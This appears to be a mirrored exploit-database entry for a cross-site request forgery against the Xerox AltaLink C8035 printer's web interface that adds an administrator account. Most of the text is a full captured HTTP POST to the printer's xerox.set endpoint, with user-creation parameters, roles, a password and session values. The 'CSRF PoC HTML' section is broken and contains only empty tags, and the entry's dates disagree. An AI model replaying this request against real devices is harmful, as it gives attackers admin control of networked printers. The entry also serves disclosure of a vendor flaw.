发布 2019-12-18 漏洞条目

Xerox AltaLink C8035 Printer – Cross-Site Request Forgery (Add Admin)

Exploit Source

# Exploit Title: Xerox AltaLink C8035 Printer - Cross-Site Request Forgery (Add Admin)

# Date: 2018-12-17

# Exploit Author: Ismail Tasdelen

# Vendor Homepage: https://www.xerox.com/

# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/altalink-c8000-series

# Software : Xerox Printer

# Product Version: AltaLink C8035

# Vulernability Type : Cross-Site Request Forgery (Add Admin)

# Vulenrability : Cross-Site Request Forgery

# CVE : N/A

# Description :

# The CSRF vulnerability was discovered in the AltaLink C8035 printer model of Xerox printer hardware.

# A request to add users is made in the Device User Database form field. This request is captured by

# the proxy. And a CSRF PoC HTML file is prepared. Xerox AltaLink C8035 printers allow CSRF. A request

# to add users is made in the Device User Database form field to the xerox.set URI.

# (The frmUserName value must have a unique name.)

# HTTP POST Request :

POST /dummypost/xerox.set HTTP/1.1

Host: XXX.XXX.XXX.XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 707

Origin: https://XXX.XXX.XXX.XXX

Connection: close

Referer: https://XXX.XXX.XXX.XXX/properties/authentication/UserEdit.php?nav_point_key=10

Cookie: PHPSESSID=fd93756986787a2e338da8eae1ff2ef4; statusSelected=n1; statusNumNodes=8; CERT_INFO=8738a6169beda5f6cc754db4fc40ad63; propSelected=n59; propHierarchy=00000001000000000000000010010; LastPage=/properties/authentication/UserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp

Upgrade-Insecure-Requests: 1

NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3F&isRoles=True&isPassword=True&isCreate=True&rolesStr=6%2C1%2C2&limited=0&oid=0&minLength=1&maxLength=63&isFriendlyNameDisallowed=TRUE&isUserNameDisallowed=TRUE&isNumberRequired=&CSRFToken=34cd705fa4b7954de314c8fa919c22c0ec771cb264032c058d230df9a0af0fae90ec55326145b35d14daf2696e3d8302bd3aad10f08d4562178e93804098c32a&currentPage=%2Fproperties%2Fauthentication%2FUserEdit.php%3Fnav_point_key%3D10&_fun_function=HTTP_Set_User_Edit_fn&frmFriendlyName=Ismail+Tasdelen&frmUserName=ismailtasdelen&frmNewPassword=Test1234%21&frmRetypePassword=Test1234%21&frmOldPassword=undefined&SaveURL=%2Fproperties%2Fauthentication%2FUserEdit.php%3Fnav_point_key%3D10

# CSRF PoC HTML :

<html>

<body>

</form>

</body>

</html>

作者: Ismail Tasdelen
日期: 2019-12-18
类别: webapps
平台: hardware

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